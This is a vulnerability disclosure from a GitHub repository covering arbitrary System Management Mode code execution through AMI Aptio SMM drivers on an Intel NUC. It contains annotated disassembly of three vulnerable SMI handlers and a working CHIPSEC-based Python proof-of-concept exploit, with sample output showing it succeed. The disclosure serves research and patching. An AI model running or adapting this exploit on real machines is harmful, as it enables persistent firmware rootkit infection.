-
Notifications
You must be signed in to change notification settings - Fork 16
/
Intel_NUC_AMI_vuln.txt
343 lines (285 loc) · 14.9 KB
/
Intel_NUC_AMI_vuln.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
Intel NUC arbitrary System Management Mode code execution vulnerability
===========================================================================
Vulnerable products
-----------------------
Intel NUC and other computers with AMI Aptio based firmware (confirmed for Intel NUC6i3SYH with SYSKLi35.86A.0045 firmware version and ASUS Q170M-C motherboard).
Vulnerability type
----------------------
Vulnerable SW SMI handles of various UEFI SMM drivers allows to overwrite arbitrary memory byte with constant value. This vulnerability type is exploitable and leads to arbitrary System Management Mode code execution.
Impact
----------
Intel NUC6i3SYH is not using SPI Protected Ranges (PRx) flash write protection and BootGuard, so, arbitrary SMM code execution vulnerability allows attacker to infect it's platform firmware with persistent UEFI rootkit.
Files
---------
Similar vulnerabilities exists in 3 different UEFI SMM drivers from AMI Aptio: NvmeSmm (GUID E5E2C9D9-5BF5-497E-8860-94F81A09ADE0), SdioSmm (GUID EA343100-1A37-4239-A3CB-B92240B935CF) and UsbRt (GUID 04EAAAA1-29A1-11D7-8838-00500473D4EB). You also can find these vulnerable drivers by hexadecimal signature "C1 E0 04 05 04 01 00 00" with the help of the UEFITool.
Discovered by
-----------------
Dmytro Oleksiuk - cr4sh0@gmail.com - http://cr4.sh
Vulnerable SW SMI 0x42 handler from NvmeSmm driver (firmware version: SYSKLi35.86A.0045)
=======================================================================================
;
; NvmeSmm driver SW SMI handler 0x42 callback function
;
.text:0000000000000E40 sub_E40 proc near
.text:0000000000000E40
.text:0000000000000E40 arg_0 = qword ptr 8
.text:0000000000000E40 arg_8 = qword ptr 10h
.text:0000000000000E40
.text:0000000000000E40 mov [rsp+arg_0], rbx
.text:0000000000000E45 mov [rsp+arg_8], rsi
.text:0000000000000E4A push rdi
.text:0000000000000E4B sub rsp, 20h
.text:0000000000000E4F mov rbx, [r8]
.text:0000000000000E52 xor edi, edi
.text:0000000000000E54 mov cs:byte_2250, 1
.text:0000000000000E5B cmp rbx, rdi
.text:0000000000000E5E jz short loc_E65
.text:0000000000000E60 mov [r8], rdi
.text:0000000000000E63 jmp short loc_E77
.text:0000000000000E65
.text:0000000000000E65 loc_E65:
;
; Obtain some structure pointer from
; Extended BIOS Data Area (EBDA) controlled
; by attacker.
;
.text:0000000000000E65 movzx eax, word ptr ds:loc_40B+3
.text:0000000000000E6D shl eax, 4
.text:0000000000000E70 add eax, 104h
.text:0000000000000E75 mov ebx, [rax]
.text:0000000000000E77
.text:0000000000000E77 loc_E77:
.text:0000000000000E77 mov edx, 62h
.text:0000000000000E7C mov rcx, rbx
.text:0000000000000E7F call sub_1E68
.text:0000000000000E84 cmp rax, rdi
.text:0000000000000E87 mov rsi, rax
.text:0000000000000E8A jl short loc_E9A
.text:0000000000000E8C cmp byte ptr [rbx], 27h
.text:0000000000000E8F jnz short loc_E97
.text:0000000000000E91 cmp byte ptr [rbx+1], 0Ch
.text:0000000000000E95 jb short loc_EA3
.text:0000000000000E97
.text:0000000000000E97 loc_E97:
.text:0000000000000E97 mov rdi, rax
.text:0000000000000E9A
.text:0000000000000E9A loc_E9A:
;
; RBX register contains structure pointer controllable
; by attacker, this fact allows to overwrite
; one byte of memory at arbitrary address with
; 0x07 constant value.
;
.text:0000000000000E9A mov byte ptr [rbx+2], 7
.text:0000000000000E9E mov rax, rdi
.text:0000000000000EA1 jmp short loc_EB7
.text:0000000000000EA3
.text:0000000000000EA3 loc_EA3:
.text:0000000000000EA3 movzx eax, byte ptr [rbx+1]
.text:0000000000000EA7 lea rdx, off_2C0
.text:0000000000000EAE mov rcx, rbx
.text:0000000000000EB1 call qword ptr [rdx+rax*8]
.text:0000000000000EB4 mov rax, rsi
.text:0000000000000EB7
.text:0000000000000EB7 loc_EB7:
.text:0000000000000EB7 mov rbx, [rsp+28h+arg_0]
.text:0000000000000EBC mov rsi, [rsp+28h+arg_8]
.text:0000000000000EC1 add rsp, 20h
.text:0000000000000EC5 pop rdi
.text:0000000000000EC6 retn
.text:0000000000000EC6 sub_E40 endp
Vulnerable SW SMI 0x40 handler from SdioSmm driver
======================================================
;
; SdioSmm driver SW SMI handler 0x40 callback function
;
.text:0000000000000C94 sub_C94 proc near
.text:0000000000000C94 push rbx
.text:0000000000000C96 sub rsp, 20h
;
; Obtain some structure pointer from
; Extended BIOS Data Area (EBDA) controlled
; by attacker.
;
.text:0000000000000C9A movzx eax, ds:word_40E
.text:0000000000000CA2 mov edx, 67h
.text:0000000000000CA7 mov cs:byte_1FF0, 1
.text:0000000000000CAE shl eax, 4
.text:0000000000000CB1 add eax, 104h
.text:0000000000000CB6 mov ebx, [rax]
.text:0000000000000CB8 mov rcx, rbx
.text:0000000000000CBB call sub_1B08
.text:0000000000000CC0 test rax, rax
.text:0000000000000CC3 jns short loc_CCB
.text:0000000000000CC5
.text:0000000000000CC5 loc_CC5:
;
; RBX register contains structure pointer controllable
; by attacker, this fact allows to overwrite
; one byte of memory at arbitrary address with
; 0x07 constant value.
;
.text:0000000000000CC5 mov byte ptr [rbx+2], 7
.text:0000000000000CC9 jmp short loc_CE0
.text:0000000000000CCB
.text:0000000000000CCB loc_CCB:
.text:0000000000000CCB cmp byte ptr [rbx], 4
.text:0000000000000CCE jnb short loc_CC5
.text:0000000000000CD0 movzx eax, byte ptr [rbx]
.text:0000000000000CD3 lea rdx, off_818
.text:0000000000000CDA mov rcx, rbx
.text:0000000000000CDD call qword ptr [rdx+rax*8]
.text:0000000000000CE0
.text:0000000000000CE0 loc_CE0:
.text:0000000000000CE0 xor eax, eax
.text:0000000000000CE2 add rsp, 20h
.text:0000000000000CE6 pop rbx
.text:0000000000000CE7 retn
.text:0000000000000CE7 sub_C94 endp
Vulnerable SW SMI 0x31 handler from UsbRt SMM driver
========================================================
;
; UsbRt driver SW SMI handler 0x31 callback function.
;
.text:0000000000001B7C sub_1B7C proc near
.text:0000000000001B7C sub rsp, 28h
.text:0000000000001B80 mov rax, cs:gUsbData
.text:0000000000001B87 mov rcx, [rax+6D78h]
.text:0000000000001B8E test rcx, rcx
.text:0000000000001B91 jz short loc_1B9D
.text:0000000000001B93 and qword ptr [rax+6D78h], 0
.text:0000000000001B9B jmp short loc_1BAF
.text:0000000000001B9D
.text:0000000000001B9D loc_1B9D:
;
; When handler was called during RT phase
; it obtains some structure pointer from
; Extended BIOS Data Area (EBDA) controlled
; by attacker.
;
.text:0000000000001B9D movzx eax, ds:word_40E
.text:0000000000001BA5 shl eax, 4
.text:0000000000001BA8 add eax, 104h
.text:0000000000001BAD mov ecx, [rax]
.text:0000000000001BAF
.text:0000000000001BAF loc_1BAF:
.text:0000000000001BAF test rcx, rcx
.text:0000000000001BB2 jnz short loc_1BC0
.text:0000000000001BB4 mov rax, 8000000000000009h
.text:0000000000001BBE jmp short loc_1BC7
.text:0000000000001BC0
.text:0000000000001BC0 loc_1BC0:
;
; Pass structure pointer to the child function.
;
.text:0000000000001BC0 call sub_1888
.text:0000000000001BC5 xor eax, eax
.text:0000000000001BC7
.text:0000000000001BC7 loc_1BC7:
.text:0000000000001BC7 add rsp, 28h
.text:0000000000001BCB retn
.text:0000000000001BCB sub_1B7C endp
;
; Child function that doing the rest of the SW SMI
; dispatch stuff.
;
.text:0000000000001888 sub_1888 proc near
.text:0000000000001888 sub rsp, 28h
.text:000000000000188C test rcx, rcx
.text:000000000000188F jz short loc_18AE
.text:0000000000001891 mov al, [rcx]
.text:0000000000001893 test al, al
.text:0000000000001895 jz short loc_18A1
.text:0000000000001897 cmp al, 20h
.text:0000000000001899 jb short loc_18B3
.text:000000000000189B cmp al, 38h
.text:000000000000189D ja short loc_18B3
.text:000000000000189F add al, 0E1h
.text:00000000000018A1
.text:00000000000018A1 loc_18A1:
.text:00000000000018A1 lea rdx, off_DF0
.text:00000000000018A8 movzx eax, al
;
; Call USB specific handler by it’s number.
; Handler number is not controllable by attacker
; because sub_1888() checks it for array index
; out of bounds.
;
.text:00000000000018AB call qword ptr [rdx+rax*8]
.text:00000000000018AE
.text:00000000000018AE loc_18AE:
.text:00000000000018AE add rsp, 28h
.text:00000000000018B2 retn
.text:00000000000018B3
.text:00000000000018B3 loc_18B3:
;
; RCX register contains structure pointer controllable
; by attacker, this fact allows to overwrite
; one byte of memory at arbitrary address with
; 0xF0 constant value.
;
.text:00000000000018B3 mov byte ptr [rcx+2], 0F0h
.text:00000000000018B7 jmp short loc_18AE
.text:00000000000018B7 sub_1888 endp
Proof of Concept exploit on example of NvmeSmm vulnerable driver
====================================================================
#
# This exploit overwrites one byte of memory with 0x07 at 0x1002 address using
# SW SMI handler vulnerability. To run this code you need to install CHIPSEC.
#
import sys, os, struct
from hexdump import hexdump
EBDA_ADDR = 0x040E
SMI_NUM = 0x42
class Chipsec(object):
def __init__(self):
import chipsec.chipset
import chipsec.hal.physmem
import chipsec.hal.interrupts
# initialize CHIPSEC
self.cs = chipsec.chipset.cs()
self.cs.init(None, True)
# get instances of required classes
self.mem = chipsec.hal.physmem.Memory(self.cs)
self.ints = chipsec.hal.interrupts.Interrupts(self.cs)
# CHIPSEC has no physical memory read/write methods for quad words
def read_physical_mem_qword(self, addr):
return struct.unpack('Q', self.mem.read_physical_mem(addr, 8))[0]
def write_physical_mem_qword(self, addr, val):
self.mem.write_physical_mem(addr, 8, struct.pack('Q', val))
def main():
#initialize chipsec stuff
cs = Chipsec()
# backup memory contents
val_0 = cs.mem.read_physical_mem_word(EBDA_ADDR)
addr_1 = (val_0 << 4) + 0x0104
addr_2 = 0x1000
print 'Old value at 0x%.8x is 0x%.4x (physical address is 0x%.8x)' % \
(EBDA_ADDR, val_0, addr_1)
val_1 = cs.mem.read_physical_mem_dword(addr_1)
val_2 = cs.mem.read_physical_mem_dword(addr_2)
print 'Old value at 0x%.8x is 0x%.8x, overwriting with 0x%.8x' % \
(addr_1, val_1, addr_2)
# write destinatin address value to memory
cs.mem.write_physical_mem_dword(addr_1, addr_2)
cs.mem.write_physical_mem_dword(addr_2, 0)
# fire SMI and overwrite byte at addr_2 + 2 with 0x07
cs.ints.send_SW_SMI(0, SMI_NUM, 0, 0, 0, 0, 0, 0, 0)
# restore overwritten memory
cs.mem.write_physical_mem_dword(addr_1, val_1)
val = cs.mem.read_physical_mem_byte(addr_2 + 2)
# restore overwritten memory
cs.mem.write_physical_mem_dword(addr_2, val_2)
# check for successful exploitation
print 'SUCCESS' if val == 0x07 else \
'FAILS'
return 0
if __name__ == '__main__':
exit(main())
Example of exploit output on vulnerable system
==================================================
# python smi_expl_42_nuc.py
****** Chipsec Linux Kernel module is licensed under GPL 2.0
Old value at 0x0000040e is 0x9c80 (physical address is 0x0009c904)
Old value at 0x0009c904 is 0x00000000, overwriting with 0x00001000
SUCCESS